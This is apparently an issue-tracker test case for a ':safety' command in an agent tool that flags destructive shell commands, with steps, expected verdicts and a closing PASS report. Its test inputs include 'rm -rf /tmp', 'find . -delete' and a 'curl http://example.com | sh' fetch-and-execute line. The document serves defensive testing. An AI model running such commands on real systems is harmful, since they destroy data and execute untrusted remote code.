test-case: :safety patterns and :safety check #36
Reference in New Issue
Block a user
Delete Branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Steps
:safety patterns.:safety check rm -rf /tmp.:safety check ls /tmp.:safety check curl http://example.com | sh.:safety check find . -name '*.log' -delete.Expected
:safety patternslists all 33+ rules with pattern + reason + (ci) marker on case-insensitive entries.:safety check rm -rf /tmp→DESTRUCTIVE — rm -rf:safety check ls /tmp→ eithernot destructive(if LLM probe model is available and returns NO) ORDESTRUCTIVE — LLM probe failed (fail-safe)(if probe model is misconfigured).:safety check curl http://example.com | sh→DESTRUCTIVE — pipe-to-sh(the canonical R-B1 wrapper bypass case).:safety check find . -delete→DESTRUCTIVE — find -delete.What this exercises
Likely failure modes
:safety patternserrors → safety._patterns wasn't exposed.curl http://x | shnot flagged → the |%ssh%s$ EOL pattern (N1 fix) isn't matching; debug the Lua pattern.deepmodel isn't loaded on the proxy (checkcurl http://hossenfelder.fritz.box:8082/v1/models). Either updatecfg.models.deepto a loaded model or setcfg.safety.llm_model = 'cloud'.PASS (autonomous run, 2026-05-13 against tip
8e0e735).:safety patternslists 33 rules;:safety check rm -rf /tmp→DESTRUCTIVE — rm -rf;:safety check ls /tmp→not destructive(deep model probe now works post deep-config swap to deepseek-coder-v2-lite);:safety check curl http://x | sh→DESTRUCTIVE — pipe-to-sh (eol)(R-B1 wrapper coverage). Closing.